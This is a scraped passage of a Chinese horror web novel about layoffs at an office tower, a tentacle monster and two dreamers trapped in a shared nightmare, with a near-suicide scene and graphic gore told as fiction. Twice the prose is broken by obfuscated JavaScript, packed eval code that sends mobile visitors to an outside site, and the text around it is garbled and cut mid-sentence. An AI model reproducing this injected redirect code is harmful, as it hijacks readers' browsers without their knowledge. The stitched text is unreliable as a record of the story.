跳下去!跳下去!跳下去!——心里有个声音在鼓动。 对这操蛋的人生,他此刻能做出最决绝也最彻底的反叛…… “就在那里,不要动!不要朝下面看!”然而另一个声音如炸雷一般响起,一只萤火飞进漆黑的洞穴,勉力振翅,发出孤单的微光。 是苇思航。 “把手给我!”她的语气不容置疑,朝赵梓龙伸出手去。 至少有一次,想要纵身高空的冲动,可是你没有那样做——因为身边的人拉住了你。 赵梓龙迟缓地转头,看着他那位并不算相熟的同事。 苇思航在半空中极力延伸指尖,给赵梓龙冰冷的手指带去一丝暖意,使尽全身力气,总算拉着后者远离了连廊危险的边缘。 就在那个时候,她看到了,赵梓龙手上可疑的血红痕迹。 …… 同样的红色,盛在罐子里,放在办公桌上。合同用的印泥仿佛一滩凝固的血。旁边是一份准备好的,解除劳动合同同意书。 与此同时,总经理办公室。 刘晨曦往桌上扫了一眼,马上移开目光。她脸上挤出一个笑,好半天才找到自己的声音,清了清嗓子,道:“徐总。” 窗外已经完全暗了下去,总经理办公室里却还没有开灯,只有桌上一盏台灯亮着。沉默的徐总侧坐在她对面的电脑椅上,大部份身体埋在阴影里,刘晨曦看不见他此时的表情。 “那个……房间里有点暗,我把灯打开吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670554|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >徐总没有说话,沉默宛如黏滞的气流,在这个房间里静悄悄地流淌。 刘晨曦的笑容也凝固在脸上。直直地杵在房间中央。 “不好意思来打扰您,倒也没什么大事,是关于我下个月销假……”她自顾自道,绝口不提叫她进来的目的,就当全然不知道裁员的事。 进办公室之前,她就想好了她的对策。 装傻。 她的想法很简单,目前裁员名单只是私下传播,还没有对外公布。只要她装作不知道,再向徐总求求情,说不定还有转圜的余地…… 刚开始知道自己在裁员名单里,刘晨曦难以置信的那一阵已经过去了。 当着其他人,她嘲笑赵梓龙毫无形象地痛哭——至于吗?背地里,她把自己锁在女卫生间的隔间里,开始为明天抽泣。 从毕业之后就入职这家公司,自恃资历的她感觉天塌了。她上周才满35岁而已! 至今未婚未育,工作就是刘晨曦的体面。只怕被裁之后的人生只会更加悲惨,她陷入悲观的想象,她是一个彻头彻尾的失败者,被年龄抛弃,被公司抛弃,被社会抛弃…… 她眼前所见像是变成了针尖大小,除了这份工作,再看不到别的,出了这栋办公楼后的世界?——抱歉,她好像暂时想象不到。思绪就这样被困入了穷巷。 目睹赵梓龙走出总经理办公室,她盯着那扇门,甚至出现了一种罪恶的幻想。 假如赵梓龙忍无可忍,杀了徐总…… 她敢说在场还有很多人,都和她想的一样。 而当徐总的声音再次传出来的那一刻,实话说,她感到失望。 赵梓龙果然是个孬种! 现在,站在徐总面前,她唯唯诺诺,冥思苦想,不知下一句话该怎样开口。 她的目光再次扫过桌上的印泥,那鲜红的颜色刺痛了她的双眼。 难道她是什么罪人吗?她绝不会为自己贡献的青春签字画押! “嗯,开灯吧。”沉默了很久,徐总冷不丁道。 刘晨曦的身上泛起一身鸡皮疙瘩。 徐总的语气显得格外轻松,那种高高在上的感觉几乎让人生气。他的声音从喉咙附近发出,有种让人不适的滑腻。 一股隐隐的带着潮湿的臭气,在空气本就不流通的房间里蔓延开来,刘晨曦从刚才就闻到了,此时不留痕迹地皱了皱眉,嘴上答应道:“……好的。” 她转身朝着门口墙上的开关走去,背后像是长了眼睛,她仿佛看见徐总的椅子,悄无声息朝着门口转了过来。 她的手放在了电灯开关上,突然有些出神,目光落下,看到不远处的门把手。 脑海中似乎一个声音发出最后的警告。 逃出去!逃出去!逃出去! 这一刻好似被拉长成无限,其实只有短短的一瞬间。 她的手指在发抖,微微用力,随即摁亮了电灯开关,眯起眼睛,适应骤然明亮的光线。 眼前泛着白光,然后是入眼的一片血红。 ——和桌上印泥一样的红色。 房间的墙壁上,布满了杂乱无章的,红色的印记,从地上一直延伸到天花板,放射性的印记上还残余着恰到好处的湿润,给人带来不可磨灭的视觉冲击,像是步入了一个新鲜的屠宰现场。 “啊啊啊啊啊!” 刘晨曦控制不住自己的声音,爆发出一声尖叫,下意识去拉门把手,一个影子却比她更快,来不及了。 当她伸出手去,碰到的不是金属,而是某种一样冰凉、却更加滑腻的软体,一种奇异又恶心的触感…… 什么玩意儿……还是活的! 她发狂一样抽开手,带出一串黏连的猩红丝线,弄脏了她的一步裙,转身的瞬间,看到此刻的徐总。 徐总的椅子正对着门口,头颅以一种不可能的角度,僵硬地朝后仰着,好似已经折断,眼睛无力地朝后翻去,一双惨淡的眼白盯着前方,在他绷紧抻长的脖子上,只见一条均匀的裂口出现在喉咙的位置。 那是一张不断收缩扩张的环形口器,一条沾满红色印泥的触手正从那深渊般的裂口中缓缓抽出,跨越了半个办公室,一端死死缠绕着门把手。灯光下,粗壮的触手像蛇一样蠕动,上面遍布的吸盘正在肉眼可见有节奏地开合着,将鲜红的印泥涂抹在金属表面——就像它在墙上做过无数次的那样。 16. 15. 黑池(八) 连廊周围的玻璃幕墙被赵梓龙撞开一个豁口,风从其中灌入,剩下的幕墙承受不住强风,没过多久,也尽数碎裂。 苇思航和赵梓龙两人完全暴露在呼啸的狂风之下,刚才还美轮美奂的连廊,转眼只剩下了钢筋的本体,露出狰狞的面目。 苇思航扶着摇摇欲坠的栏杆,仿佛抓着唯一的救命稻草,心脏在胸腔里急速跳动。 阻止了赵梓龙的坠落,可她此时也黔驴技穷,被困在连廊中间进退两难。 接下来该怎么办? 身边的赵梓龙抹了一把脸,出乎意料地镇定下来。 手机在他的口袋里震动着,他知道,是来自妻子的电话。 不久前,在电梯里,他收到妻子的信息。 ——“今晚回家吃饭吧?” 他当时犹豫再三,没能立即回复她。 只因他还在为没能硬气一点,屈服地签下解约书的自己感到羞愧。敲打键盘的手指上留下的印泥痕迹像是在时刻提醒他。 他承认自己是个任人拿捏的软蛋,忍气吞声,如履薄冰了一辈子。 在办公室里,当他看着高高在上、甚至不愿意正脸面对他的徐总,实话说,他真有一种冲动,想要随手抄起什么砸向他,让他付出生命的代价,只为出一口心中的恶气…… 当时心里也有一个恶魔一样的声音在怂恿他,就差一点,他就要采取行动了。 可他终究没有那样做。相反,他自知多说无益,蘸取印泥,在解约书上留下屈辱的手印。 不仅失去了工作,他也失去了尊严。他因此感到痛苦。 可当他看到妻子的短信时,却是庆幸涌上心头。 ——不管怎么样,他今晚还要回家的。 那个有着妻子和他们孩子的小家。他知道,或许在别人的眼中,他是个懦夫,可他能够按时回家吃饭,对于还在等待他的家人,就是日复一日的壮举。 猛烈爆发的欲望,带来强烈的精神力波动,周围的风势似乎都弱了一些。 赵梓龙只想回家。 他朝前踏出一步。 苇思航来不及阻止:“小心……” 接着,她吃惊地看到,赵梓龙的身体微晃,可随即在飘忽的重力和狂风中稳住了身体,把握住了微妙的平衡。 像是走钢丝。 可他摇摇欲坠的一辈子,被收支平衡的账单困住的一辈子,何尝不是每时每刻在走钢丝? 他将一家托举在肩上,可当天旋地转,上下颠倒的时候,肩上的重担,也是他钢丝之下守护着他的安全网,他的小家成了宇宙中唯一一个恒定的坐标。 赵梓龙真从光怪陆离的前方看到了一条路,无规律的扭曲的空间中,一条细细的轴。 苇思航胆战心惊地看着赵梓龙显得有些毫无章法的前进路线。 “跟我走。”不多久,他的声音从上方传来,苇思航看到他的双脚站到了斜上方的空气里,活像被一个什么东西牢牢粘住了,要知道,上一秒,他差点掉下连廊,但是在那个特定的位置上,重力并没有为难他,他脚下的某点发出涟漪一样的微光。 苇思航心领神会,紧跟在赵梓龙之后——抱着死马当做活马医,大不了死回0373的念头——也勇敢跳出了第一步。 松开抓住栏杆的手的那瞬间,后悔的念头却顷刻浮现——她对赵梓龙的疑心还没有彻底消除,听信他的话是不是有点太鲁莽了?可已经来不及了,她投身进此间狂暴的乱流之中,身体不受使唤地摇摆,深渊在她倒垂的脑袋下方,一种失重坠落的感觉袭来…… ……她成功了! 像是险急的湍流之下,隐藏着水底坚硬的岩石,继又跨出一步的赵梓龙之后,她站稳了脚跟。 赵梓龙在前方引路,亦步亦趋,过了前面几个匪夷所思的点,渐渐熟练起来,速度更快,如履平地,苇思航不像他那般自如,不过有人带着,也勉勉强强。 没过多久,两人终于到达了西塔的彼岸。 从这一头,回往他们来时的另一端,同样是上下颠倒的景象,连廊的空间扭曲就像是一种过渡。等待身体适应之后,就和正常的重力环境没有什么不同。地下停车场还是那个地下停车场,周围的一切,苇思航再熟悉不过。 苇思航来到西塔的第一件事,扶着墙,不管不顾,背对着赵梓龙干呕起来。 缓过神来,苇思航想起向赵哥道谢,她这时也终于不再怀疑赵梓龙会对她不利,心里隐隐还有些抱歉。 赵梓龙摇摇头:“客气了。你先救的我。” 苇思航挠挠头,实在好奇,问道:“那条路……你怎么发现的?” 赵梓龙脸上也闪过迷茫:“我也不知道,突然一下,我只想到我要回家,就……看见了。” 苇思航啧啧称奇,总归梦魇中太多事情无法解释。 赵梓龙掏出兜里已经安静下来的手机,屏幕上显示妻子的未接来电,他想过要再打过去,却又踌躇了。下一秒,电话再次震动起来。 “接啊!”苇思航在一旁催促道。 赵梓龙犹豫地望着屏幕:“万一我又按错了按键把电话挂了……” 借口。 明明靠着家人的意志逃离了险境,不妨碍近乡情怯。怎么告诉妻子他又丢掉了工作?妻子会是什么反应? 人啊,一旦没有了死亡的威胁,便开始想东想西。 苇思航不知道赵梓龙此时心里在想什么,顺着他刚才的话鼓励:“接吧,要是真的念想管用,你就想着你现在一定要接这个电话试试?” 赵梓龙目光微顿,紧张而希冀地看向屏幕,手却迟迟没有伸出,手机焦急地等待着回应。 “你到底想不想接这个电话啊?” “……想。” 不再犹豫,赵梓龙下定决心,伸手去碰那屏幕上绿色的按钮,不管成没成功,立即将手机贴在耳边。 想要立刻听到妻子的声音! 一旁的苇思航好似紧张等待电视剧大团圆结局的观众。 又一次心想事成的奇迹吗?梦魇真这么好? “喂,老公?……” 听到对面传来的女声,赵梓龙苦闷的眉眼顿时被温 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手机摔到地上的瞬间解体,随即被盘踞在地上的触手碾压至粉碎,再没有了声音。被一击贯穿的赵梓龙软绵绵的挂在触手尖端,随即被扔到了来时的连廊。这一次,他的尸体直直掉入黑水深渊。 来不及悼念同伴,苇思航朝着反方向掉头就跑! 解决掉赵梓龙,触手转移目标,果然转头追着苇思航而去! 两方在地下停车场里展开追击。 触手所到之处,停车场的车辆像是不堪一击的多米诺骨牌,在巨力下纷纷臣服,互相撞击着报废,警报器的嘶鸣此起彼伏。一辆尽显硬汉气质的大型SUV因为挡住了触手的路,被直接贯穿,车窗破裂,机油淅淅沥沥洒了一地,残骸被抛向墙上,像炮弹一样下落,转眼又砸倒了一片。 苇思航的耳膜被自己剧烈的心跳声震得生疼。急促的喘息与慌乱的脚步声交织在一起。借着这附近密集车辆的掩护,她一个急转弯闪进触手的视觉死角。这个明智的决定为她赢得了宝贵的喘息时间。 然而她的心越来越沉,只因她意识到,她逃得越远,结果却是更加深入触手怪物的腹地。 四周的墙面不知何时已褪去了混凝土的原色,转而呈现出病态的青灰。仔细看,上面遍布着吸盘环状的花纹,苇思航越看便越发心惊,难道说,触手怪物已经变成了建筑物的一部分? 必须尽快逃离这一层! 就在这时,她看到了——电梯,指示灯诡异地亮着红光,显示电梯还在运行,此时停在B2。 苇思航没有多想,发了疯似的狂按“向上”的按钮。 电梯收到指令,开始动了,很快下行至B3——她所在的这一层。 电梯门悄无声息地打开,苇思航一脚即将踏入,抬头的那一瞬间,全身血液凝固。 原本是摄像头的位置,一颗青灰色的肉瘤正在规律性搏动。它约有成年人的心脏大小,表面布满蛛网般的血管,无数半透明的菌丝从中心辐射状延伸,将整个轿厢顶部变成了某种生物的巢穴。 肉瘤中心散发的红光如同冷血动物的复眼,正朝着门口的苇思航发出冰冷的凝视。 17. 16. 黑池(九) 苇思航僵直着身体,不动声色地缓缓退后。 电梯轿厢角落的红光死死盯着她,直到电梯门自动闭合,隔绝了她的视线。 冷汗滑过眉毛,流进眼睛,蛰得眼球火辣辣地疼。 还逃吗?好像没有那个必要了…… 暴露在红光之下,“它”知道她在这里!不然,还能逃去哪儿? 电梯附近是一片开阔的平地,连能当掩护的地方也没有。 身后的触手迟了一步,还是毫无悬念地赶到了。眼睁睁看着那条粗壮可怖的触手朝着自己拍击而来,这场景有点熟悉,上一次,苇思航还有0373的掩护幸运逃脱,这一次,她毫不怀疑,自己会死得很难看…… 她步步后退,分明已经绝望,那触手如同毒蛇一般,欣赏着她死前惊恐的表情,就在电梯门不远,一道安全门“吱呀”一声,张开一道缝隙,千钧一发之际,一只手从其中迅捷地伸出,拽着苇思航跌入另一边的黑暗。 安全门立即合拢,然后被狠狠抵住!隔着一道金属门,触手的重击震得门内刚脱险的苇思航牙齿发麻。 借着楼道里应急灯的光亮,苇思航看见了,那个出手相救的人的样子。 她当即失声道:“——是你?!” 随即想到此时的处境,她赶紧捂住嘴巴,吞下下面的话。 那端着机枪的红发女,不是陆萌是谁? 陆萌机警地用一边肩膀顶住门,省去了重逢的客套,将苇思航上下打量一番,懒懒应了一声:“哦。” 危机还没有结束! 苇思航亲眼见过触手怪物在停车场横扫的威力,并不觉得一扇安全门能够抵御住它的攻击。 下一击到来之前,她抽空打量起四周,已知这里是梦茧大厦B3,整栋大厦的最底层,楼梯间的尽头,再往下去已经没有路了。她的目光不期然扫过楼梯间的一角,再次如堕冰窖。 和不久前一样的青灰肉瘤,闪着妖异的红光,正蜷在斜上方楼梯口的墙角,俯视着下方的二人。 陆萌顺着她的目光看去,却不以为意,抬手看了看表,二话不说举起手里的霰/弹枪,顺手把苇思航护在身后,朝着那颗肉瘤扣动扳机。 轰的一声。霰弹击中了混凝土墙体,簌簌向下落灰,肉瘤本体并没有被击中,准确的说,陆萌瞄准的是那肉瘤附近的组织网,炸开的钢珠四溅,不分敌我地朝着苇思航二人袭来。 苇思航感到脸上一阵火辣辣的剧痛,她一抹脸,一股湿润的热意。 苇思航:? 陆萌疯了吗? 这是什么痛击队友的招式? 她此前经历了无数危机,万万没想到再次见到同伴的10分钟内就打破了自己的无伤记录! 陆萌同样呲牙咧嘴,近距离引爆,背上被弹片划开的滋味很不好受。 至于那颗险些被击中,越看越像心脏的肉瘤,蜷缩在墙角,苦于无处可逃,此时正肉眼可见地搏动着,像是一个劫后余生的人在粗重地喘息。 奇怪的是,经过这一枪,门外竟奇迹地安静下来。触手迟迟没有下一步的攻击。 “你发什么疯?痛痛痛,痛死了!”苇思航等了一会,虽然对外面的风平浪静还存疑,不妨碍她大起胆子,随口抱怨起来。 “什么‘痛死了’!胡扯,真能痛死,你死一个我看看?”陆萌回嘴,“你懂什么?这叫用空间换时间!伤口能自愈,但你要不持续输出负面精神力,当心魇境注意到你,又来找你麻烦!——啊啊啊放手!痛痛,痛死我了!” 苇思航毫不留情地掐着陆萌正在流血的伤口,换来对方的惨叫,出了一口恶气。 双方不得不忍受着身上的疼痛,陆萌先问:“你怎么在这里?” “说来话长……”苇思航道,“你呢,你怎么又在这里?” 上次一别,两人还被困在B2停车场的0373里,苇思航一打盹的功夫,再醒来时,陆萌就不见了。 据陆萌交待,她当时尿急(……),跑去一楼大堂上卫生间,上完卫生间冲水的时候,水龙头里流出黑水,她因此被拉进了魇境之中。 苇思航表示惊讶,又觉得不可思议,关于梦灵会尿急这件事。 “那你担不担心,那个,你现实里……” 在梦里尿急,然后一泻千里的结果往往是……嗯,不得反口,陆萌默然。 苇思航随口吐槽:“你睡前究竟吃的什么药啊,这样了都不醒?” 陆萌已经记不得自己之前随口一提的特殊情况,再一次无话可说:“……” 苇思航道:“那这么一看,你很早就进魇境了,那你的梦魇坚持的还挺久的喔?什么时候被吸进来的?” “吸进来?” “对啊。我是原先那层梦魇崩塌,然后才来到这里的。” “是吗?”陆萌随口道,“没有啊,我是一直在这里……” 她的话没能说完,苇思航突然有了动作,揪着她只有一边的背心肩带,迫使陆萌弯腰和自己对视。 不是坐在0373的前排,二人的身高相差悬殊,女战士陆萌的建模矫健修长,穿着高跟皮靴的她很难说是否已经超过了一米九,苇思航与她相差将近30厘米,不过气势丝毫不输。陆萌看到苇思航的脸在眼前突然放大,忍不住吞了吞唾沫,那双眼镜后,怀疑的目光此时正毫不掩饰地打量着她。 “这里不会是你的梦魇吧?”苇思航说出自己的疑惑,觉得自己也有点糊涂了。 陆萌一愣,正要否认,苇思航转头一想,觉得不可能,放开了她。 要说的话,苇思航目前对于她经历的第二个梦魇也只是云里雾里,仅仅怀疑背后的主人可能是她某个认识的人,而她左思右想,怎么都不觉得自己现实里会认识陆萌这号人…… 而且如果是梦主,何必还躲在这里? 陆萌重获自由,整理着自己差点被撕破的衣服,顺手在胸前两个沉甸甸的马赛克大球上掂了掂,问道:“你是说,现在外面是某个人的梦魇,咱们都在同一个梦魇里?” “没错。”苇思航三言两语,把自己此前经历的异常现象说了。 说起她上一个怀疑的人,赵梓龙,她目光一黯,想起不久前亲眼看到的他被触手怪物从背后杀死的惨状…… 仍不知这个梦魇和普通的有何不同,她只能安慰自己,在这里面死去,或许代表他已经在深爱的家人身边,从噩梦中醒来了吧? 赵梓龙死后,这个梦魇依旧存在,再次证明,赵梓龙并非是梦主。 陆萌听着苇思航的话,皱起眉头,想不到情况变得棘手起来…… “我记忆里是一开始就待在梦茧大厦里了,遇到那只触手怪物之后,一门心思逃命,好不容易才躲到这里,外面发生了什么,我都不知道……剩下就是熬,盼着药效到了能醒过来呢。”陆萌苦着脸道,开始给苇思航分享她新编的故事。 “照你那么说,也有可能,因为我精神力不是一直很弱嘛……很有可能,”她强调,“我的梦魇其实早崩塌了,然后很早就被吸进来了?” 苇思航觉得有理。 “其实我觉得我知道这个梦魇的主人是谁。”陆萌的下一句话石破天惊。 “谁?” 陆萌慢吞吞地指了指外面,无比笃定道:“外面那只触手怪。” 苇思航正要反驳。 “……是其中一个。” 陆萌向苇思航说出自己的“推测”,苇思航有种在听天方夜谭的感觉。 已知强行将其他梦灵,又或是幽灵(苇思航也提到了含晦和尉迟龙鸣的事)拉入自己的梦魇中,需要强大的精神力,很有可能(陆萌又强调一次),某个执念颇深的梦灵机缘巧合之下,精神力与门外的触手怪物结合,共同造成了足以颠覆整个魇境的母魇。 “那个触手怪究竟是什么东西?你知道吗?”苇思航问道,“是梦灵,还是幽灵?” 陆萌摇摇头:“都不是。那是原生于灵界的怪物,来自物质世界的映射。” “——你听说过‘克苏鲁’吗?” “好像听说过……”苇思航先是道,不想显得自己不懂装懂,又补上一句,“……其实不是很熟悉。” 陆萌道:“那是一个有别于传统宗教,反信仰的开放式神话体系,大多数神话随着时代发展,实际上在日渐萎缩,克苏鲁却不一样,相反,还在进一步扩张。它代表的‘未知的不可名状的恐怖’,因为所有人都可以对其解释,这个体系随着时间仍在不断丰富,通过各种文艺作品,潜移默化地改变人们的认知,得到越来越多的人的认可——这个过程,可以理解为附灵,相应的,灵界诞生了有关元素的怪物。” “大多数人想到克苏鲁,第一印象就会想到‘章鱼’,‘触手’之流,门外那个,就是其中最初级的映射品,被称作‘魇怪’。它会被异常的精神波动的梦灵吸引,入侵梦境,作用机制嘛,类似魇境……如果说黑水魇境类似范围攻击,魇怪更像打野,单体击破。” 陆萌说的头头是道,慢慢拼凑出事情的全貌:“呐,我怀疑,这个触手怪一开始入侵了某人的梦魇,因为某些原因,可能是自己太菜了……反倒让梦主占了上风,自己遭到了反噬,正巧魇境爆发,它选中的梦魇在魇境中脱颖而出,导致它现在也被困住了,逮着我一个人薅啊……” 说到最后,她的脸痛心疾首地揪了起来。 故事编的很好,但苇思航当下并未往心里去,她更奇怪的是:“你怎么会知道的这么清楚?” “我?”陆萌眼睛一转,得意地笑起来:“巧了吗这不是,我睡前玩的那个游戏就是克苏鲁背景的,我手里这杆枪,专杀触手怪!遇见我算它倒霉!” 苇思航:“……” 她的目光又扫向天花板的角落,那个古怪的肉瘤,果然跟外面的触手怪有关…… 不过刚刚离得那么近也没打中的话——近战射手,你有什么话要说吗? 陆萌表示,那可是天大的冤枉,她当然是故意那么做的的!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670556|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆萌解释:“那是触手怪的卵,外面的触手怪投鼠忌器,因此不敢主动攻击我,我每隔一段时间来一枪,就是给外面的警告!” “这卵对它来说很重要吗?” “当然!触手怪的力量随着存在时间逐渐变弱,这个过程中,它会将能量转移到卵上,然后孵化一个新的……一旦被毁,前功尽弃,元气大伤!”陆萌说,“放心吧,这个卵短时间内还不会孵化,只要咱们守着这东西,外面的怪物不敢轻举妄动!” “可是……”苇思航犹豫了,“我刚刚在电梯顶里看到了,一个和这长得差不多的东西,好像看起来比这个还大一点儿……那是怪物的另一个卵吗?” 陆萌脸色一僵,好半天,咬牙骂道:“我靠!” 她着实没想过,触手怪竟然还有这一招,背地里已经放弃了楼梯间里这一个,反而转头开始发育一个新的卵,她本来还觉得奇怪呢,楼里这一个为什么好像暂停发育了…… “那没办法了。”陆萌果断道,“我们得想个办法,逃出去。” “要尽快。”她说着,抬头看了一眼,那颗头顶搏动重新变得缓慢的肉瘤,她之前怎么没看出来,还是说视而不见——那东西正在萎缩? “嗯,不能留在这里等死。”苇思航对陆萌的话表示赞同,脑中飞快思考着。 她可以带着陆萌回到她来时的东塔,看起来触手怪只在这边活动,或许真是受到了另一边梦主的压制?虽然那边的梦魇也相当诡异,但是好歹暂时没有性命之忧……吧? 事实上,她对这个第二次陷入的梦魇完全没有底,隐隐感到这里不同于一般的梦魇,在这里死去,会发生什么?她是否还会再在B2的0373里醒来?如果所有人都被吸到了同一个梦魇中,魇境为何还没有结束?含晦和尉迟龙鸣现在在哪里? 陆萌随口问:“你有什么计划吗?” 计划? 她原本的计划,要在魇境里突围,成为最后的赢家,改造梦茧大厦,驾着0373脱险。 鉴于她的梦魇已经先一步崩塌,这个计划也就成了奢望……不对,还有机会! 脱困的方法,她早就已经知道了呀! 偶遇的含晦和尉迟龙鸣已经告诉她一条捷径,只要找到并杀死梦魇主人……她是不是也能“接管”这个梦魇? 苇思航脑中纷繁复杂,陆萌忽而一拍掌,语气有种说不出的愉快,兴冲冲地提议。 “有了,出去之前,让我们来‘幸运占卜’一下!” “什么占卜?” “是我这个角色的特殊能力!”陆萌冲她神秘一笑,介绍起来,“每天可以使用一次,我之前总嫌鸡肋,正好,现在用了吧!” 苇思航心里泛上酸意:“特殊能力,那是什么东西?” 陆萌眨眨眼:“基本上梦灵和幽灵都有的呀,属于固定下来的进化的外化能力,啊,苇姐你没有吗?” 死了又死算吗? 苇思航打算先看陆萌表演,摇了摇头。 陆萌咧嘴笑道:“那估计是你的精神力太弱了,唉,没关系啦,我这个其实也没啥用,嘻嘻……” 苇思航:“……” 陆萌煞有介事地合起双掌,闭上眼睛,像在蹩脚地做法,嘴里不忘解说:“我这个占卜的学名叫‘半梦半醒’,可以横跨物灵两界,预知未来发生的事情……” 苇思航将信将疑,很有理由怀疑陆萌有夸大的成分,而且突然选在这个时候,很莫名其妙啊……陆萌的手突然伸过来,猝不及防地与她的手相握,她的手凉而柔软,像某种鱼类,给苇思航吓了一跳。 “虽然只能用一次,但是可以给两个人用。”陆萌提起嘴角,闭着眼睛冲她笑。 苇思航正要说些什么,眼前一花,竟真的出现了画面,讶异中噤声。 她像是回到了通风管道里,俯瞰着下方的景象。 又是熟悉的办公室。 有男有女的上班族,静默地打包着自己桌上的杂物,装进纸箱里,最后取下工牌,扔到空无一物的桌子上,带着自己的东西,走人。旁边正在工作的同事盯着电脑屏幕,仿佛非常专心,不受影响,头也不抬。 气氛凝重,除了偶尔的键盘声,再没有别的声音,气氛压抑的可怕。 这是……裁员? 因为有了之前梦魇的铺垫,苇思航毫不费力地想到。 看来这件事极大地影响了梦境主人,苇思航再一次燃起了对梦主的好奇心。 场景变换,转眼来到了室外,天光大亮,前方矗立着13层的熟悉办公楼。 肉/体坠地的声音十分闷重,地上一具尸体被蒙上白布,周围拉起了黄色的警戒线。警车,救护车,消防车挤在门口的窄路上,不惜压上了精心养护的绿化带,穿着工作服的人员正在紧急疏散着楼里惊慌失措的人群。 更多的尸体从楼上被抬了下来。七具担架蒙着白布,一只苍白的手突兀地垂落下来。 一二三四五六七。 18. 17. 黑池(十) 眼前的景象比之前的梦魇还要可怕,苇思航惊骇无比,下意识甩开陆萌的手,这一下却也失去了平衡,直接跌倒在地上。 画面戛然而止。苇思航在楼道阴暗的应急灯灯光下,目光重新聚焦,再次看到面前那扇通往地下停车场的安全门。 “你没事吧?”陆萌急忙过来扶她。 苇思航的眼镜不小心掉在地上,又被她自己踩了一脚,陆萌帮她捡起来。 “还好没坏,差一点儿。”陆萌低头检查眼镜的伤势——镜框上添了两道划痕,除此之外并无大碍,她掰了掰两条眼镜腿,这才递给苇思航。 “你没事吧?”陆萌又问了一遍,意识到情况不对。 苇思航抱膝坐在楼梯上,全身因后怕而轻微地颤抖着,脸色苍白得吓人。 “你看见什么了?” 苇思航却反问:“你呢?难道咱们看的不是一样的?” 她的语气不甚客气,几乎是一种防御机制。 陆萌愣了一下。 “当然……不一样了,我看到我自己的未来——我醒了,精神很差,上班起晚了,被护士长骂了个狗血淋头……”陆萌道,止住话头,小心翼翼道:“你也梦见不好的东西了?” 苇思航有气无力地看了她一眼。 这个“也”字! 是是是,没错,她看到的惨案,跟陆萌上班被骂,并列“不好的东西”——简直难分高下! “如果那也是我的未来,我好像……会死。”缓了缓,苇思航道。 陆萌张口结舌的样子有点滑稽。 苇思航揉着眉心,想着那七具盖了白布的尸体,预言难道是在暗示,她是其中的一具? “那真的是现实吗?我怎么感觉比噩梦更像噩梦。”苇思航苦笑。 在陆萌的追问下,她简短地讲述了她所看到的一切。 “是现实。”陆萌沉吟片刻,给出肯定的答复,苇思航还想着能从她嘴里得到一点安慰,结果却是心更沉了下去。 “——但不一定是你的未来哦。”陆萌慢吞吞道,“怪我,刚才忘了跟你说,要心里想着占卜的对象才能奏效。” “……” 陆萌挠挠头,被苇思航杀人的目光盯得不自在,给自己找补:“这个还需要提醒吗,不用说也知道……好吧,我错了,你刚才确定想着的是自己吗?” 苇思航一愣。 她一直在纠结这个梦境的主人是谁,难道说…… “对吧!你当时想着的是别人!”陆萌一拍大腿,比苇思航还要兴奋,观察着对方的脸色,“让我猜猜……是这个梦魇的梦主?” 苇思航默认了,陆萌手托着下巴,分析继续。 “很有可能,”陆萌道,苇思航发现,这句话快成了她的口头禅,“因为你对梦主本人也知之甚少,所以也只能看到一些意义不明确的画面,不过听那意思,感觉像是……这个梦主有一个准备实施的杀人计划?你在梦魇里有找到什么蛛丝马迹吗?” 苇思航蓦地想到,那张名字后面打了红叉的裁员名单,她一直心里有种奇怪的感觉…… 陆萌自顾自推理下去:“那或许也就解释了,为什么这个人的梦魇有这么强的精神波动,毁灭级别的精神力,来自毁灭的强烈冲动……乃至在魇境,和魇怪的双重夹击之下都不落下风。” 苇思航忍不住追问。 “那我们能做些什么?” 陆萌有些意外:“难道你想做些什么?” 苇思航被反问地一下清醒过来,赧然道:“不……我又能做什么呢……” 她的精神力太弱了。可能在梦中就会被梦魇杀死,自救都费劲,更别说还想要阻止现实中的惨案。 陆萌看了她一会,笑着招呼:“做咱们能做的呗。” 苇思航木着脸,忍不住吐槽:“所以一开始干嘛要做那个占卜……” 搞得她现在人都不好了! “嘿嘿,我也第一次给别人试。”陆萌不好意思地笑笑。 合着把她当小白鼠了! 陆萌给自己开脱着:“我觉得很好啊!如果预见了好事,振奋人心,如果是坏事,哀兵必胜!” ……反正不管怎么样都赢麻了! 陆萌举起一只手握拳,像日本少女偶像那样,给彼此打气:“加油!一会冲出去!” 苇思航:“……” 陆萌活动手腕脚腕,为接下来热身,却见她把手里保命的霰/弹枪卸下,丢到一边。 “这是干嘛?”苇思航奇怪。 “其实吧……没子弹了。”陆萌诚恳道。 苇思航:“……” 怪不得陆萌一直催促着离开这里,一会触手怪没有等到新的枪声,她们就真的只能等死了。 ……但也不代表她们要赤手空拳和触手怪硬拼吧! 苇思航忍了忍,建议道:“不然我们去楼上?” 陆萌翻了翻白眼,好似在控诉苇思航把她当傻子。 “上面楼层已经都被触手怪占领了,别忘了,我是一路逃来这里的,多亏发现这颗肉瘤想到了拖时间的办法,才能坚持到现在!” 苇思航:“哦。” 陆萌的语气郑重其事:“一会咱们分开跑,尽量往车多的地方,能拖一拖它。目标去连廊,在东塔汇合,知道吗?” 干就完了! 全身热血上涌,苇思航点点头。 听到自己紧张起来的呼吸,想着对面的陆萌也是一样,苇思航感觉仿佛楼道里的空气都变得稀薄了。 陆萌掐表,准备开门前的一分钟。 苇思航又看到被丢到一旁的失去火力的霰/弹枪。 她想了想,手肘捅了捅陆萌挡在她前面的后背,轻声道:“要不你还是把枪拿着吧。” 